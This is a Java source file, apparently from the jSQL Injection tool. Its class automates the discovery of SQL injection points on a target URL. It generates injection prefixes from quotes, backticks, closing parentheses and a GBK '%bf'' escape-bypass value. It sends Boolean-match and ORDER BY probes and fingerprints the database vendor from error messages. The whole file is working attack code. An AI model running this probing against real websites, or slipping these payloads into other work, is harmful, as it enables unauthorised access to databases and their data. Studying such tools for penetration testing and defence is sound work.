View Javadoc
1   package com.jsql.model.suspendable;
2   
3   import com.jsql.model.InjectionModel;
4   import com.jsql.model.bean.util.Header;
5   import com.jsql.model.bean.util.Interaction;
6   import com.jsql.model.bean.util.Request;
7   import com.jsql.model.exception.JSqlException;
8   import com.jsql.model.exception.StoppedByUserSlidingException;
9   import com.jsql.model.injection.strategy.blind.InjectionCharInsertion;
10  import com.jsql.model.injection.vendor.MediatorVendor;
11  import com.jsql.model.injection.vendor.model.Vendor;
12  import com.jsql.model.suspendable.callable.CallablePageSource;
13  import com.jsql.util.I18nUtil;
14  import com.jsql.util.LogLevelUtil;
15  import org.apache.commons.lang3.RandomStringUtils;
16  import org.apache.commons.lang3.StringUtils;
17  import org.apache.logging.log4j.LogManager;
18  import org.apache.logging.log4j.Logger;
19  
20  import java.util.*;
21  import java.util.concurrent.CompletionService;
22  import java.util.concurrent.ExecutionException;
23  import java.util.concurrent.ExecutorCompletionService;
24  import java.util.concurrent.ExecutorService;
25  import java.util.regex.Pattern;
26  import java.util.stream.Collectors;
27  import java.util.stream.Stream;
28  
29  /**
30   * Runnable class, define insertionCharacter to be used during injection,
31   * i.e -1 in "...php?id=-1 union select..", sometimes it's -1, 0', 0, etc.
32   * Find working insertion char when error message occurs in source.
33   * Force to 1 if no insertion char works and empty value from user,
34   * Force to user's value if no insertion char works,
35   * Force to insertion char otherwise.
36   */
37  public class SuspendableGetCharInsertion extends AbstractSuspendable {
38      
39      /**
40       * Log4j logger sent to view.
41       */
42      private static final Logger LOGGER = LogManager.getRootLogger();
43  
44      private static final String LABEL_PREFIX = "prefix";
45  
46      public SuspendableGetCharInsertion(InjectionModel injectionModel) {
47          super(injectionModel);
48      }
49  
50      @Override
51      public String run(Object... args) throws JSqlException {
52          String characterInsertionByUser = (String) args[0];
53          
54          ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableGetInsertionCharacter");
55          CompletionService<CallablePageSource> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
56  
57          var charFromBooleanMatch = new String[1];
58          List<String> charactersInsertion = this.initCallables(taskCompletionService, charFromBooleanMatch);
59          
60          var mediatorVendor = this.injectionModel.getMediatorVendor();
61          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Fingerprinting database and character insertion with Order by match...");
62  
63          String charFromOrderBy = null;
64          
65          int total = charactersInsertion.size();
66          while (0 < total) {
67              if (this.isSuspended()) {
68                  throw new StoppedByUserSlidingException();
69              }
70              try {
71                  CallablePageSource currentCallable = taskCompletionService.take().get();
72                  total--;
73                  String pageSource = currentCallable.getContent();
74                  
75                  List<Vendor> vendorsOrderByMatch = this.getVendorsOrderByMatch(mediatorVendor, pageSource);
76                  if (!vendorsOrderByMatch.isEmpty()) {
77                      this.setVendor(mediatorVendor, vendorsOrderByMatch);
78                      
79                      LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Using [{}]", mediatorVendor.getVendor());
80                      var requestSetVendor = new Request();
81                      requestSetVendor.setMessage(Interaction.SET_VENDOR);
82                      Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
83                      msgHeader.put(Header.URL, this.injectionModel.getMediatorUtils().getConnectionUtil().getUrlByUser());
84                      msgHeader.put(Header.VENDOR, mediatorVendor.getVendor());
85                      requestSetVendor.setParameters(msgHeader);
86                      this.injectionModel.sendToViews(requestSetVendor);
87                      
88                      charFromOrderBy = currentCallable.getCharacterInsertion();
89                      LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Character insertion [{}] matching with Order by and compatible with Error strategy", charFromOrderBy);
90                      break;
91                  }
92              } catch (InterruptedException e) {
93                  LOGGER.log(LogLevelUtil.IGNORE, e, e);
94                  Thread.currentThread().interrupt();
95              } catch (ExecutionException e) {
96                  LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
97              }
98          }
99          this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
100         if (charFromOrderBy == null && charFromBooleanMatch[0] != null) {
101             charFromOrderBy = charFromBooleanMatch[0];
102         }
103         return this.getCharacterInsertion(characterInsertionByUser, charFromOrderBy);
104     }
105 
106     private void setVendor(MediatorVendor mediatorVendor, List<Vendor> vendorsOrderByMatch) {
107         if (
108             vendorsOrderByMatch.size() == 1
109             && vendorsOrderByMatch.get(0) != mediatorVendor.getVendor()
110         ) {
111             mediatorVendor.setVendor(vendorsOrderByMatch.get(0));
112         } else if (vendorsOrderByMatch.size() > 1) {
113             if (vendorsOrderByMatch.contains(mediatorVendor.getPostgres())) {
114                 mediatorVendor.setVendor(mediatorVendor.getPostgres());
115             } else if (vendorsOrderByMatch.contains(mediatorVendor.getMysql())) {
116                 mediatorVendor.setVendor(mediatorVendor.getMysql());
117             } else {
118                 mediatorVendor.setVendor(vendorsOrderByMatch.get(0));
119             }
120         }
121     }
122 
123     private List<Vendor> getVendorsOrderByMatch(MediatorVendor mediatorVendor, String pageSource) {
124         return mediatorVendor.getVendors()
125             .stream()
126             .filter(vendor -> vendor != mediatorVendor.getAuto())
127             .filter(vendor -> StringUtils.isNotEmpty(
128                 vendor.instance().getModelYaml().getStrategy().getConfiguration().getFingerprint().getOrderByErrorMessage()
129             ))
130             .filter(vendor -> {
131                 Optional<String> optionalOrderByErrorMatch = Stream.of(
132                     vendor.instance().getModelYaml().getStrategy().getConfiguration().getFingerprint().getOrderByErrorMessage()
133                     .split("[\\r\\n]+")
134                 )
135                 .filter(errorMessage ->
136                     Pattern
137                     .compile(".*" + errorMessage + ".*", Pattern.DOTALL)
138                     .matcher(pageSource)
139                     .matches()
140                 )
141                 .findAny();
142                 if (optionalOrderByErrorMatch.isPresent()) {
143                     LOGGER.log(
144                         LogLevelUtil.CONSOLE_SUCCESS,
145                         String.format("Order by fingerprint matching vendor [%s]", vendor)
146                     );
147                 }
148                 return optionalOrderByErrorMatch.isPresent();
149             })
150             .collect(Collectors.toList());
151     }
152 
153     private List<String> initCallables(CompletionService<CallablePageSource> taskCompletionService, String[] charFromBooleanMatch) throws JSqlException {
154         List<String> prefixValues = Arrays.asList(
155             RandomStringUtils.secure().next(10, "012"),  // to trigger probable failure
156             "1"  // to trigger eventual success
157         );
158         List<String> prefixQuotes = Arrays.asList(
159             SuspendableGetCharInsertion.LABEL_PREFIX +"'",
160             SuspendableGetCharInsertion.LABEL_PREFIX,
161             SuspendableGetCharInsertion.LABEL_PREFIX +"`",  // TODO add ITs
162             SuspendableGetCharInsertion.LABEL_PREFIX +"\"",
163             SuspendableGetCharInsertion.LABEL_PREFIX +"%bf'"  // GBK slash encoding use case
164         );
165         List<String> prefixParentheses = Arrays.asList(StringUtils.EMPTY, ")", "))");
166         List<String> charactersInsertion = new ArrayList<>();
167         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Fingerprinting character insertion with Boolean match...");
168         for (String prefixValue: prefixValues) {
169             for (String prefixQuote: prefixQuotes) {
170                 for (String prefixParenthesis: prefixParentheses) {
171                     this.checkInsertionChar(charFromBooleanMatch, charactersInsertion, prefixValue, prefixQuote, prefixParenthesis);
172                 }
173             }
174         }
175         for (String characterInsertion: charactersInsertion) {
176             taskCompletionService.submit(
177                 new CallablePageSource(
178                     characterInsertion
179                     + StringUtils.SPACE  // covered by cleaning
180                     + this.injectionModel.getMediatorVendor().getVendor().instance().sqlOrderBy(),
181                     characterInsertion,
182                     this.injectionModel,
183                     "prefix#orderby"
184                 )
185             );
186         }
187         return charactersInsertion;
188     }
189 
190     private void checkInsertionChar(
191         String[] charFromBooleanMatch,
192         List<String> charactersInsertion,
193         String prefixValue,
194         String prefixQuote,
195         String prefixParenthesis
196     ) throws StoppedByUserSlidingException {
197         String characterInsertion = prefixQuote.replace(SuspendableGetCharInsertion.LABEL_PREFIX, prefixValue) + prefixParenthesis;
198         charactersInsertion.add(characterInsertion);
199         // Skipping Boolean match when already found
200         if (charFromBooleanMatch[0] == null) {
201             var injectionCharInsertion = new InjectionCharInsertion(
202                 this.injectionModel,
203                 characterInsertion,
204                 prefixQuote + prefixParenthesis
205             );
206             if (injectionCharInsertion.isInjectable()) {
207                 if (this.isSuspended()) {
208                     throw new StoppedByUserSlidingException();
209                 }
210                 charFromBooleanMatch[0] = characterInsertion;
211                 LOGGER.log(
212                     LogLevelUtil.CONSOLE_SUCCESS,
213                     "Found character insertion [{}] using Boolean match",
214                     () -> charFromBooleanMatch[0]
215                 );
216             }
217         }
218     }
219     
220     private String getCharacterInsertion(String characterInsertionByUser, String characterInsertionDetected) {
221         String characterInsertionDetectedFixed = characterInsertionDetected;
222         if (characterInsertionDetectedFixed == null) {
223             characterInsertionDetectedFixed = characterInsertionByUser;
224             String logCharacterInsertion = characterInsertionDetectedFixed;
225             LOGGER.log(
226                 LogLevelUtil.CONSOLE_ERROR,
227                 "No character insertion found, forcing to [{}]",
228                 () -> logCharacterInsertion.replace(InjectionModel.STAR, StringUtils.EMPTY)
229             );
230         } else if (!characterInsertionByUser.replace(InjectionModel.STAR, StringUtils.EMPTY).equals(characterInsertionDetectedFixed)) {
231             String characterInsertionByUserFormat = characterInsertionByUser.replace(InjectionModel.STAR, StringUtils.EMPTY);
232             LOGGER.log(
233                 LogLevelUtil.CONSOLE_INFORM,
234                 "Using [{}] and matching [{}]",
235                 () -> this.injectionModel.getMediatorVendor().getVendor(),
236                 () -> characterInsertionDetected
237             );
238             LOGGER.log(
239                 LogLevelUtil.CONSOLE_DEFAULT,
240                 "Disable search for char insertion in Preferences to force the value [{}]",
241                 () -> characterInsertionByUserFormat
242             );
243         } else {
244             LOGGER.log(
245                 LogLevelUtil.CONSOLE_INFORM,
246                 "{} [{}]",
247                 () -> I18nUtil.valueByKey("LOG_USING_INSERTION_CHARACTER"),
248                 () -> characterInsertionDetected.replace(InjectionModel.STAR, StringUtils.EMPTY)
249             );
250         }
251         return characterInsertionDetectedFixed;
252     }
253 }